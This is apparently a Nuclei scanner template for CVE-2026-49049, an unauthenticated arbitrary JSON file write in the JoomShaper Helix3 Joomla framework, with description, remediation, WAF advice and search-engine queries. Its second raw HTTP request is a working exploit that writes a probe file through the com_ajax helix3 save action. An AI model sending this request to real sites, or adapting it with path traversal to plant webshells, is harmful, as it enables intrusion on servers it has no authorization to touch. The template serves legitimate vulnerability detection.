JoomShaper Helix3 <=3.1.0 - Unauthenticated Arbitrary JSON File Write

id: CVE-2026-49049

info:
  name: JoomShaper Helix3 <=3.1.0 - Unauthenticated Arbitrary JSON File Write
  author: DhiyaneshDk,pdteam
  severity: high
  description: |
    JoomShaper Helix3 template framework versions 1.0 through 3.1.0 for Joomla expose an unauthenticated AJAX handler (plg_ajax_helix3) accessible via the Joomla com_ajax component. The onAjaxHelix3() plugin method processes data[action]=save requests without any authentication check or CSRF token validation. Unauthenticated remote attackers can write arbitrary JSON content to server-side files. The layoutName parameter contains no path traversal validation, enabling write to any directory writable by the web server process. Actively exploited in the wild by the AntonKill botnet campaign.
  impact: |
    Unauthenticated attackers can write arbitrary JSON content to server files, enabling template configuration manipulation, stored XSS via template parameters, and remote code execution via path traversal to place webshells or malicious configuration files in any web-accessible directory writable by the web server.
  remediation: |
    Update JoomShaper Helix3 to version 3.1.1 or later, which adds proper authorization checks to the plg_ajax_helix3 AJAX handler. If the Helix3 template is unused, disable and remove the plg_ajax_helix3 system plugin via the Joomla administrator panel. As a WAF mitigation, block POST requests to index.php where the query string contains both option=com_ajax and plugin=helix3.
  reference:
    - https://github.com/Dr-D25/CVE-2026-49049
    - https://kevintel.com/CVE-2026-49049
    - https://www.joomshaper.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-49049
    cwe-id: CWE-284
    epss-score: 0.17701
    epss-percentile: 0.96885
  metadata:
    verified: true
    max-request: 2
    vendor: ollyo
    product: helix3
    framework: joomla
    fofa-query: body="shaper_helix3"
    shodan-query: html:"shaper_helix3"
  tags: cve,cve2026,joomla,helix3,unauth,filewrite,missing-authorization,intrusive,vkev

variables:
  probe_file: "nuclei_{{rand_text_alpha(6)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

    matchers:
      - type: word
        part: body
        words:
          - "helix3"
        case-insensitive: true
        internal: true

  - raw:
      - |
        POST /index.php?option=com_ajax&plugin=helix3&format=json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
        Accept: application/json, text/javascript, */*

        data[action]=save&data[layoutName]={{probe_file}}&data[content]={"_nuclei_probe":"cve-2026-49049"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - 'fwrite()'
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008de311c7b6b8e270c28b00d100c801732ded5234b038de1257d9c1c3479947f4022074d2bd6a430ff8e06443bcd79b6630ef0bd444f1bd2e5628be96462924c8edac:922c64590222798bb761d5b6d8e72950